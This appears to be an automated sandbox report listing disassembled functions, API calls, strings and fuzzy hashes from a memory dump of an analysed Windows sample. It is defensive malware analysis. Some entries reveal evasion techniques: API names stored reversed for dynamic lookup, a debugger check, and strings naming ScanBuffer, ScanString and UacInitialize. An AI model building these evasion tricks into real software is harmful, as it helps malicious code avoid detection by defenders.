Instruction ID: d14148c337e30014d83076611864d3586be67db5fcd1728b496b6ca07752be80
Opcode Fuzzy Hash: b8227e90d2a097cfddd5d19b250c711e8ca5b5275bdc34d7432c15379972680e
Instruction Fuzzy Hash: EA612135B401489BDB00EBA4D894B9F7BBBDF88700FD098F6E1019B645DA39EA06DF51

Function 02B2AFE0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 02B2B000
GetModuleHandleW.KERNEL32(KernelBase,LoadLibraryExA,?,00000004,?,00000014), ref: 02B2B017
IsBadReadPtr.KERNEL32(?,00000004), ref: 02B2B0AB
IsBadReadPtr.KERNEL32(?,00000002), ref: 02B2B0B7
IsBadReadPtr.KERNEL32(?,00000014), ref: 02B2B0CB

Strings

LoadLibraryExA, xrefs: 02B2B00D
KernelBase, xrefs: 02B2B012

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: Read$HandleModule
String ID: KernelBase$LoadLibraryExA
API String ID: 2226866862-113032527
Opcode ID: 5879f9bec06d05b45b446c89e24d0ebea646dde06d61af14613575026d47e791
Instruction ID: f155cd0650f8b316ac0a53285981359ab5518f0d306c32bfe56e2cbf3bc9e26f
Opcode Fuzzy Hash: 5879f9bec06d05b45b446c89e24d0ebea646dde06d61af14613575026d47e791
Instruction Fuzzy Hash: 60317671A40315BBDB21DB68CC85F9E77A8FF05358F044691FA68D72C1DB34A948CBA4

Function 02B1435C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02B14423,?,?,02B967C8,?,?,02B3E7A8,02B165B1,02B3D30D), ref: 02B14395
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02B14423,?,?,02B967C8,?,?,02B3E7A8,02B165B1,02B3D30D), ref: 02B1439B
GetStdHandle.KERNEL32(000000F5,02B143E4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02B14423,?,?,02B967C8), ref: 02B143B0
WriteFile.KERNEL32(00000000,000000F5,02B143E4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02B14423,?,?), ref: 02B143B6
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 02B143D4

Strings

Runtime error at 00000000, xrefs: 02B1438E, 02B143CD
Error, xrefs: 02B143C8

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: cea0da9495ffe2cee9e62574b311271e22c32437dfbb118a1ebc825fb3201102
Instruction ID: bef5d682c9f2e70c7491bc5fa255f4bb0a3e19e2733ebf28f773ca4da8d8f5ac
Opcode Fuzzy Hash: cea0da9495ffe2cee9e62574b311271e22c32437dfbb118a1ebc825fb3201102
Instruction Fuzzy Hash: D1F02470AE4344B5FB10A2A47D46F59737C9B04F61FD08AE6F364A60D087F080D58B22

Function 02B1AEC4 Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 02B1AD3C: VirtualQuery.KERNEL32(?,?,0000001C), ref: 02B1AD59
Part of subcall function 02B1AD3C: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02B1AD7D
Part of subcall function 02B1AD3C: GetModuleFileNameA.KERNEL32(02B10000,?,00000105), ref: 02B1AD98
Part of subcall function 02B1AD3C: LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02B1AE2E

CharToOemA.USER32(?,?), ref: 02B1AEFB
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 02B1AF18
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02B1AF1E
GetStdHandle.KERNEL32(000000F4,02B1AF88,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02B1AF33
WriteFile.KERNEL32(00000000,000000F4,02B1AF88,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02B1AF39
LoadStringA.USER32(00000000,0000FFEA,?,00000040), ref: 02B1AF5B
MessageBoxA.USER32(00000000,?,?,00002010), ref: 02B1AF71

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: de05d062261b062b3720e633a943cce3674ab3a615a9052b8f08ca36b0300be0
Instruction ID: 0483949353a0906810f6912481a9c17692f5146074b83d9f80c24c71c0db0bd7
Opcode Fuzzy Hash: de05d062261b062b3720e633a943cce3674ab3a615a9052b8f08ca36b0300be0
Instruction Fuzzy Hash: 821127B2549204BEE200FBA4CD85F9B77EDAF44740FC04AA5BB54D70E0DA75E9448B62

Function 02B1E58C Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 02B1E625
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 02B1E641
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 02B1E67A
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 02B1E6F7
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 02B1E710
VariantCopy.OLEAUT32(?,00000000), ref: 02B1E745

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-0
Opcode ID: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction ID: a3cc6e153ce983e7b2c7c9f98c5c4049d16f7b45067a4cf59daf37eb1b059021
Opcode Fuzzy Hash: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction Fuzzy Hash: F351F8759012299BCB26DB58CC84BD9B3BDAF49300F8045E5EA08E7211DB34EF858FA5

Function 02B13598 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02B135BA
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,02B13609,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02B135ED
RegCloseKey.ADVAPI32(?,02B13610,00000000,?,00000004,00000000,02B13609,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02B13603

Strings

SOFTWARE\Borland\Delphi\RTL, xrefs: 02B135B0
FPUMaskValue, xrefs: 02B135E4

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: 7a4199660225e6d192260c5b2933bcfd77c09450245ddb29fc1b7a68b430ed62
Instruction ID: 1c8feb75da51fdae4d5dbbc4daf5c7511bdc75fdfd5cd9d1bc68a892e1d899d5
Opcode Fuzzy Hash: 7a4199660225e6d192260c5b2933bcfd77c09450245ddb29fc1b7a68b430ed62
Instruction Fuzzy Hash: 1C01B575A54218BAEB11DF908D02BBD77ECDB08B00F9005E2BA04D7680F6B4A610CA59

Function 02B28274 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B282FC,?,?,00000000,00000000,?,02B28215,00000000,KernelBASE,00000000,00000000,02B2823C), ref: 02B282C1
GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B282C7
GetProcAddress.KERNEL32(?,?), ref: 02B282D9

Strings

sserddAcorPteG, xrefs: 02B2828F
Kernel32, xrefs: 02B282BC

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: Kernel32$sserddAcorPteG
API String ID: 667068680-1372893251
Opcode ID: 56a3bccbbfef41f93ee2f5fb767c26ee062542e698b132604680a639d86f7116
Instruction ID: fefa0f00f46704f3d8e6587eaa5a468e34159a77987ba8ebfc0d3ee2de320403
Opcode Fuzzy Hash: 56a3bccbbfef41f93ee2f5fb767c26ee062542e698b132604680a639d86f7116
Instruction Fuzzy Hash: 200162B5654304AFEB00EBA4DD41E9EB7FEEB48B10FA1C4E0F904D7604DA70A905DA28

Function 02B1AA50 Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,02B1AAE7,?,?,00000000), ref: 02B1AA68

Part of subcall function 02B1A7C4: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02B1A7E2

GetThreadLocale.KERNEL32(00000000,00000004,00000000,02B1AAE7,?,?,00000000), ref: 02B1AA98
EnumCalendarInfoA.KERNEL32(Function_0000A99C,00000000,00000000,00000004), ref: 02B1AAA3
GetThreadLocale.KERNEL32(00000000,00000003,00000000,02B1AAE7,?,?,00000000), ref: 02B1AAC1
EnumCalendarInfoA.KERNEL32(Function_0000A9D8,00000000,00000000,00000003), ref: 02B1AACC

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: c25de21866a3faed2c5c329f67eb67aaee1271a9e5c2862483b33f87f09f3b7c
Instruction ID: 4600b78ba860fbead209e29b526e038162604ca901d989cbafc064485c8b12db
Opcode Fuzzy Hash: c25de21866a3faed2c5c329f67eb67aaee1271a9e5c2862483b33f87f09f3b7c
Instruction Fuzzy Hash: 5201F2B16116446FF612BA64CD11BAF776DDB81710FD101F0F510E66D8DA75AE00CA64

Function 02B1AB00 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,02B1ACD0,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 02B1AB2F

Part of subcall function 02B1A7C4: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02B1A7E2

Strings

yyyy, xrefs: 02B1AC25
eeee, xrefs: 02B1AC3E
ggg, xrefs: 02B1AC15

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: f45b332ebce2660b73673d088c6c997b01d70f6097ee09a4abaa24bf8f3c7acd
Instruction ID: ee8bb3042f577d2e0c7255a6f09aca5ea51ad736c6efaadc0f55119a3c858ffe
Opcode Fuzzy Hash: f45b332ebce2660b73673d088c6c997b01d70f6097ee09a4abaa24bf8f3c7acd
Instruction Fuzzy Hash: F6419DB17055484BDB11EBB888906BFB3FBEF96300BE445E6D452C3394EB24F905CA65

Function 02B281CC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B2823C,?,?,00000000,?,02B27A7E,ntdll,00000000,00000000,02B27AC3,?,?,00000000), ref: 02B2820A

Part of subcall function 02B28274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B282FC,?,?,00000000,00000000,?,02B28215,00000000,KernelBASE,00000000,00000000,02B2823C), ref: 02B282C1
Part of subcall function 02B28274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B282C7
Part of subcall function 02B28274: GetProcAddress.KERNEL32(?,?), ref: 02B282D9

GetModuleHandleA.KERNELBASE(?), ref: 02B2821E

Strings

KernelBASE, xrefs: 02B28205
AeldnaHeludoMteG, xrefs: 02B281E5

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: HandleModule$AddressProc
String ID: AeldnaHeludoMteG$KernelBASE
API String ID: 1883125708-1952140341
Opcode ID: 779f5c99506f10f5272cd8195748eb5907a2bb9cf168b3c7e574ffa04f13ef2e
Instruction ID: bf39e8ac72baaec92e9f5b566a9fd28435be79624ed916c4835548d209982002
Opcode Fuzzy Hash: 779f5c99506f10f5272cd8195748eb5907a2bb9cf168b3c7e574ffa04f13ef2e
Instruction Fuzzy Hash: C4F096B1A54704AFEB00EFB4DD01959F7FDE749740B9188E0F804D3620DA34AE149D35

Function 02B2F6E8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KernelBase,?,02B2FAEB,UacInitialize,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,ScanBuffer,02B97380,02B3B7B8,ScanString,02B97380,02B3B7B8,Initialize), ref: 02B2F6EE
GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 02B2F700

Strings

KernelBase, xrefs: 02B2F6E9
IsDebuggerPresent, xrefs: 02B2F6FA

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsDebuggerPresent$KernelBase
API String ID: 1646373207-2367923768
Opcode ID: 6d0901c5a851615e28527e4beb28a8740ac354744e030dbbeda5711b60cfb90b
Instruction ID: b5e4208da862008e53740efd043c4439ae8ff575a47f249ff175a983b3f320e3
Opcode Fuzzy Hash: 6d0901c5a851615e28527e4beb28a8740ac354744e030dbbeda5711b60cfb90b
Instruction Fuzzy Hash: 4AD012B17513601DBE0076F41CC482A239C875452D3300EE0B02AC64B2E5A6881D5114

Function 02B1C474 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,02B3D10B,00000000,02B3D11E), ref: 02B1C47A
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 02B1C48B

Strings

GetDiskFreeSpaceExA, xrefs: 02B1C485
kernel32.dll, xrefs: 02B1C475

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 8b06ba101ac55f19801501316d27ae9d2d01183f77a5a4e16a036f98060aec71
Instruction ID: ac9472e1a6448b30edc75d30d8db5b240ac2be4fefd152415510da4d9d44e1e9
Opcode Fuzzy Hash: 8b06ba101ac55f19801501316d27ae9d2d01183f77a5a4e16a036f98060aec71
Instruction Fuzzy Hash: 43D05EA0EC83445EF600AAB2548263A2B98CB08350B8848E7F40247104E773E4108F5A

Function 02B1E1E8 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 02B1E297
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 02B1E2B3
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 02B1E32A
VariantClear.OLEAUT32(?), ref: 02B1E353

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction ID: 5b190c14df617428032a2f44cba9ca7e7b247a1af6a815ce07d1fd8903bd5442
Opcode Fuzzy Hash: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction Fuzzy Hash: 2E410A75A012299FCB66DB58CC94BC9B3BDEF49314F4041D5E948A7211DA34EF808FA4

Function 02B1AD3C Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 02B1AD59
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02B1AD7D
GetModuleFileNameA.KERNEL32(02B10000,?,00000105), ref: 02B1AD98
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02B1AE2E

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: f80ba9a055bc628a19fcf184b2e3ad0d4bab5f63ce49c8e5afdb00894d60b3d9
Instruction ID: 47c189bd0a31b12f63b9cbac55c2c94ece64e62810baaa38ae4933a5ca1c9080
Opcode Fuzzy Hash: f80ba9a055bc628a19fcf184b2e3ad0d4bab5f63ce49c8e5afdb00894d60b3d9
Instruction Fuzzy Hash: 9D414971A012589FDB21EB68CD84BDAB7FDAB08340F9400EAE548E7245DB74AF84CF50

Function 02B1AD3A Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 02B1AD59
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02B1AD7D
GetModuleFileNameA.KERNEL32(02B10000,?,00000105), ref: 02B1AD98
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02B1AE2E

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 30d619722148db5de874bf34792b0a3791fdfec9b600061eca06d76ecc9eaef9
Instruction ID: 0d3e5164f8552e9969a842f4c2fb6a988e779d8635d42459ea63c614692bfbff
Opcode Fuzzy Hash: 30d619722148db5de874bf34792b0a3791fdfec9b600061eca06d76ecc9eaef9
Instruction Fuzzy Hash: D7415A71A012589FDB21EB68CD84BDAB7FDAB08340F9400E6E548E7241DB74AF84CF50

Function 02B11C6C Relevance: 5.3, APIs: 4, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aaced1d7cb12c90a3f5fb177e5084d5a1e52c2b2e4256292f5dedc8702e22f98
Instruction ID: 95a2c0ca5b1a6ae30791099c0ebec8e30aef967f8a9290670022a8f0b22fa17b
Opcode Fuzzy Hash: aaced1d7cb12c90a3f5fb177e5084d5a1e52c2b2e4256292f5dedc8702e22f98
Instruction Fuzzy Hash: 2CA1F9777306040BD718AA7C9D803BDB3D6DBC5265F9882BED31DCB385EB68C9528650

Function 02B194EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,02B195DA), ref: 02B19572
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,02B195DA), ref: 02B19578

Strings

yyyy, xrefs: 02B1954D

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
